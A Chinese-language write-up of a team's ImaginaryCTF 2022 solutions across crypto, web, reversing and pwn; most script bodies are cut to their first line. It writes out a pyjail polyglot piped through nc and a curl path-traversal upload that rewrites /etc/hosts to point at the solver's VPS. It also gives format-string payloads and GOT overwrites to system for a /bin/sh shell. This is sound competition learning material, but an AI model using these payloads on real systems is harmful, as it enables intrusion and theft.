ImaginaryCTF 2022 WriteUps
這次和 XxTSJxX 參加了 ImaginaryCTF 2022,最後拿了第 4 名。
Misc
neoannophobia
這題的遊戲簡單來說是 Nim 在只有兩堆的特例,直接讓它保持平衡就能勝利了。
1 | from pwn import * |
pycrib
1 | #!/usr/bin/env python3 |
這題的 pyjail 只允許了小寫英文字母和一些空白類的字元,是從 UIUCTF
- baby_python 修改而來。原本的解答
from code import interact as exit
在新的修改之下整個失效了。
解題關鍵是要知道 python 中以 python script.py
執行的
script 會被稱作 __main__
module,但是我們又知道
import script
會在 sys.path
中尋找
script.py
之類的檔案再嘗試 import 進來。如果在
script.py
中 import
它自身的話就會導致它執行兩次,並得到兩個不一樣的 module。
可以建立 ss.py
:
1 | print(__name__) |
然後執行 python ss.py
就能了解它的行為了。
要解這題也是如此,因為檔名叫 main.py
,你可以
import main
讓它重新在一個新 module
中再執行一次。再來觀察一下可以知道 main
裡面最值得 import
的東西是 inp
,像是 from main import inp as b
就能把 __main__
中的 b
蓋成自己控制的字串了。
再結合 from os import system as exit
的話就能達到
system(b)
的效果,也就代表應該能拿 shell 了...?
然而這沒這麼簡單,因為 b
從
inp = input(">>> ")
到 system(b)
中間還會經過 exec(inp)
和 exit(b)
,為了要把
exit
的效果弄掉,必須要讓 inp
是個合法的
python code 執行 from ??? import ??? as exit
才行。
稍微找一下可以知道 from time import sleep as exit
可以讓
exit(b)
不會產生 TypeError,但這樣所執行的 shell command
是毫無作用的,所以需要讓它變成是 shell + python 的 polyglot。
因為檔名是 flag
,湊一湊可以弄出
cat if b else print\rprint if not b else flag \rfrom time import sleep as exit
,原則上就是讓它
cat flag
而已。這邊 flag \r
的空格是很重要的,因為對 shell 來說 \r
也是 argument
的一部分,需要用空格才能分開。
完整指令:
1 | > printf 'from main import inp as b\rfrom os import system as exit\ncat if b else print\rprint if not b else flag \rfrom time import sleep as exit\n' | nc pycrib.chal.imaginaryctf.org 1337 |
作者的 polyglot:
cat or flag if not input else input\rfrom keyword import iskeyword as exit
Crypto
huge
可以直接分解
1 | from Crypto.Util.number import * |
otp
這題會用個特殊函數生成一堆隨機 bits,然後和 flag xor 給你。關鍵在於它生成 bits 的函數生成 1 和 0 的機率不太一樣,大概是 2 比 1 的關係。所以這就代表 flag 的 bits 有大概 67% 的機率會被 flip,所以蒐集多個 ciphertext 然後分析各位置的 0 1 出現次數即可。
1 | from pwn import * |
hash
這題有個自製的 hash,要能找出 preimage。hash 本身如下:
1 | config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box |
可以知道它只要長度固定的話 hash 就只是一堆 xor 而已,直接爆破長度然後讓 z3 解就可以了。
1 | from pwn import * |
stream
題目給的是 elf,稍微 reverse 一下可以知道它是用一個
因為 flag format 是 ictf{
,代表只要爆 3 個 bytes
就可以了:
1 | with open("out.txt", "rb") as f: |
z3 大概也能解決這題
Lorge
這題保證
實際寫個最 naive 的 pollard p-1 (按照順序從小到大)
會發現分解失敗,需要讓它稍微 shuffle 一下所有
這是因為 pollard p-1 主要是利用
分解 code:
1 | import gmpy2 |
之所以用所有
以內的數而非單純質數是因為有可能有 prime power 在裡面
剩下就 decrypt:
1 | from Crypto.Util.number import * |
Secure Encoding: Base64
這題使用了 base64 encode 了一篇很長很長的文章,保證
ord(x)
小於 128,然後把 encode 的 base64 shuffle
後的結果做為 ciphertext,並不告訴的那個置換是什麼。
要記得 base64 使用了 4 個 base64 字元去代表了 3 個 bytes,也就是每個字元提供了 6 bits 的資訊,然後 concat 起來是 24 bits,也就代表原本的 3 個 bytes。
在正常的 base64 來說一個字元所提供的那 6 bits 是看它在 base64 table 的 index 決定,但是 shuffle 之後就什麼都不知道了。
我的想法是說就算是 shuffle 後一個 base64 字元所映射到的那 6 bits
都還是 unique 的,然後題目也有保證 ord(x)
小於
128,這就代表我們還是可以得到一些 bits 的資訊,所以就使用 z3
來解看看。
稍微解出來之後可以知道它大概是一篇英文文章,之後讓 z3 再繼續多產生幾篇可能的 plaintext 之後可以大概看出它是 Project Gutenberg 的某本書,這樣就能得到一些 known plaintext 的 prefix,再把它加下去之後又能不斷的得到更好的結果。
最後完整的腳本如下:
1 | from z3 import * |
不過因為這不知道是有哪裡寫壞掉,導致出來的 plaintext 有些地方是壞掉的,就算想把它強制修好也會得到 unsat ¯\_(ツ)_/¯
1 | The Project Gutenberg eBook of The Picture of Dorian cray, by Oscar Wilde |
Living Without Expectations
這題有公開參數
這個問題就叫做 Decision LWE (Learning With Error),一個 lattice cryptography 所用的 hardness assumption 之一,所以很自然就讓人想到了 LLL。
可以注意到這邊的
這邊就弄出以下 lattice:
可以知道在這之中有個點很接近
恢復完
1 | import ast |
Web
Hostility
這題有個有 upload path traversal 的 flask server,關鍵 code 在此:
1 |
|
從它給的 Dockerfile
可知 server 是跑在 root
上的,所以可以寫的地方很多。以這題來說就寫個
YOUR_VPS_IP localhost
到 /etc/hosts
後然後
GET /flag
就能拿到 flag 了。
1 | curl 'https://hostility.chal.imaginaryctf.org/upload' -F 'file=@hosts; filename=../../etc/hosts' |
不過在用上面這個預期解解掉前我是在找 RCE 的辦法,並且成功在 local 達成 RCE (但 remote 失敗)。關鍵 code 是這段:
1 | class Restart(Thread): |
因為我們知道 docker restart 的時候 container
是同一個,它裡面的檔案變化都還是會保存著,所以如果可以寫入到
/app/server.py
的話就能在 restart 時 RCE。不過因為 write
權限沒開,所以寫不到那個地方。
不過就算那被擋了,我們還有很多其他地方也可以寫,例如
../../usr/local/lib/python3.8/dist-packages/flask/__init__.py
或是 /usr/bin/python3
等等都可以寫。不過使用這種方法的缺點就是會導致 server
在重啟之後整個掛掉,所以我向作者回報後他表示這不是
intended,並且寫了個腳本把重啟的部分改成將 container
刪除重創,這樣就能修好這個問題了。
CyberCook
我有寫個英文版的 writeup: https://gist.github.com/maple3142/e6a2da36aa8431116b4eb6c9447af9aa
Reversing
polymorphic
這題有個 x86-64 的 elf,丟進 ida 只會看到一大堆根本無法反編譯的 instruction。嘗試執行的話可知它應該是類似 flag checker 的東西,但是會出現 segmentation fault,而題目介紹就有說要怎麼讓他不要 crash。
開 gdb 開始動態追可以看到他有很多 xor 目前 rip 位置的東西出現,所以可知他是某個 obfuscate 過的 binary,然後會動態用 xor 解回來。
1 | → 0x401000 <_start+0> xor DWORD PTR [rip+0x0], 0x4e784379 # 0x40100a <_start+10> |
理論上應該可以用 capstone 之類的寫個腳本模擬 xor 的部分先把他 xor 好然後填 nop 回去,不過這樣感覺很累。
直接 gdb 慢慢追之後可以知道他先 read 輸入到 rsp 上,然後可以看到他有這樣的東西出現:
1 | 0x40107a <_start+122>: mov al,BYTE PTR [rsp] |
可以知道它就讀一個字元到 al,然後減一些數字之後拿它去 xor rip+0x7
的地方,所以如果 al 非 0 的話很容易讓它炸裂,因此可知這邊的 al 必須是
0x69 才行,而 0x69 很剛好的是 ascii 的 i
字元,符合
ictf{
的第一個字。後面繼續追也是類似的東西,所以就用 gdb 的
python api 寫個腳本動態把那些值提取出來就可以了:
1 | gdb.execute("gef config context.enable false") |
One Liner: Revenge
這題我真的不會解釋,反正就把它 one liner python format 一下,隨便加些 print 去觀察一下它的行為,在適當的地方插入 z3 之後就讓它自己解了。
1 | from z3 import * |
Pwn
golf
ida 解開長這樣:
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
所以有個十字元以內的 format string exploit 可以打,因為沒有 relro
所以目標很明顯是需要把 got 中的 exit 改掉。然而一般的改法大概都是像這樣:
%<num>c%<idx>$n
,其中 num 是你要寫入的值,而
idx 是 pointer 在 stack 上的 index。
以這題來說因為 exit 還沒被呼叫過,原本是大概 0x40????
的狀況,而我想把它覆寫的目標是 main,也是在
0x40????
,因此用 $hn
去 partial overwrite
剛剛好,所以我想到最精簡的 payload 的 %4635c%8$hn
,長度為
11 所以沒辦法通過那個檢查。
後來去查一下資料就找到了這篇: Midnight Sun CTF 2020 Quals -
pwn4,從裡面知道 printf 還支援一個
%*<idx1>$c%<idx2>$n
的用法,就是從 stack 上第
idx1 的地方拿 int 大小的數當作前面那個 num,然後寫入到 stack 上 idx2
上面的 address。
所以由此把它改一改成 %*9$c%8$hn
,長度剛剛好為
10,可以通過檢查,然後在後面塞 address
和指定的數字就可以了。大概像這樣:
1 | fmt = b"%*9$c%8$hn" |
剩下就是從 got leak libc 出來,然後用 libc.rip 查一下 remote 的 libc
版本後 patch local binary。剩下拿 shell 的部分我是利用題目本身還有個
_
函數:
1 | int _() |
就把 setvbuf
寫 system
,然後
stderr
寫為 libc 中的 /bin/sh
,之後再 partial
overwrite got 中的 exit 指向的 main 到 _
,這是因為它們同為
0x40????
比較好蓋。
另外這邊用 stderr 的原因是因為做這些事要多次寫入,把 stdin 和 stdout 弄壞就慘了。
1 | from pwn import * |
Format String Fun
ida 解開長這樣:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
注意那個 buf
是位於 bss 而非 stack 上,所以沒辦法直接寫
address。這個情況下常見的做法是利用 stack 上有些多重 pointer
可以利用。例如下面的 0x00007fffffffe3a8
就很好用。
1 | 0x00007fffffffe2b8│+0x0008: 0x00007ffff7dfd0b3 → <__libc_start_main+243> mov edi, eax |
這個是 patch 過的 elf 下斷點在 call pritnf 前地方的 stack 狀態
總之可以先對 %8$n
寫入你真正想寫的 address,然後再算 對
%36$n
寫入真正想要的值。
36
是來自(0x00007fffffffe3a8-0x00007fffffffe2b8)//8+6
的
不過要注意的是如果使用了 positional argument (%8$n
之類的) 去寫入 address 會導致失敗,這是因為 printf 內部如果遇到了
positional argument 就會改用 printf_positional
,而它會把
stack 上的東西先 cache 起來,導致 %36$n
的部分不會更新。要繞開的方法就是不要使用 positional
argument,而是改用很單純的 %c%c%c%c%c%c%c%n
。
詳情可以參考這篇 writeup: TokyoWesterns CTF 6th 2020 - Blind Shot
我會知道這個是因為之前 2021 09 的 Imaginary CTF 也有類似的題目出現: Format String Fun (對,名字一模一樣==)
總之這樣就能達成寫任意位置了,剩下就是找該寫誰。因為這題是 full relro
所以不能改 got,要控制的話就只能寫 stack 了,但是 stack address 的 low 2
bytes 都不固定,最多只知道最後的 nibble 是 0
還是
8
而已,這部分用 brute force 的話機率是 1/4096,在 ctf
中還算勉強可行。
假設要 brute force 的話,那麼寫 printf 的 return address
是最方便的,因為它 return 到 main,這樣 partial overwrite 到 win
就只需要一個 %hn
即可。所以就能生出這個 payload:
%c%c%c%c%c%c%c%c%hn%1$78c%37$hhn
。它只要該 address 是
0008
結尾的就能成功,所以之後再寫個 multi thread
的腳本去爆就能搞定:
1 | from pwn import * |
其實這題還有個進階叫 Format String Foolery,它和這題幾乎一樣,但是要求使用一個 payload 連續成功 10 次才能拿到 flag,就代表不能使用這種 brute force 的方法。作者是說:
lots of people did it with brute, but you could edit link_map.l_addr to cause miscalulation of fini_array location
大概讓我想到了 ret2dlresolve 的一些東西,但那個我真的不太熟,所以還不是很能理解。可能之後有空再回來研究這個技術。
prwrite
這題有提供一個 cpython binary 還有 libc,然後 server 會執行這個腳本:
1 | from ctypes import c_ulong |
checksec 一下可知這題的 python no pie 還有 partial
relro,因此只要能蓋掉 got 中類似 open 的函數應該就有機會拿
shell。測試了一下可以知道 python open 最後會 call 到
open64
,因此 leak libc 出來後把 open64
寫成
system
,然後選項 3 輸入 /bin/sh
就有 shell
了。
1 | from pwn import * |
對,這題真的就這麼簡單,反而讓我不理解為什麼這是第四難的 pwn... (尤其是這為什麼比 golf 難)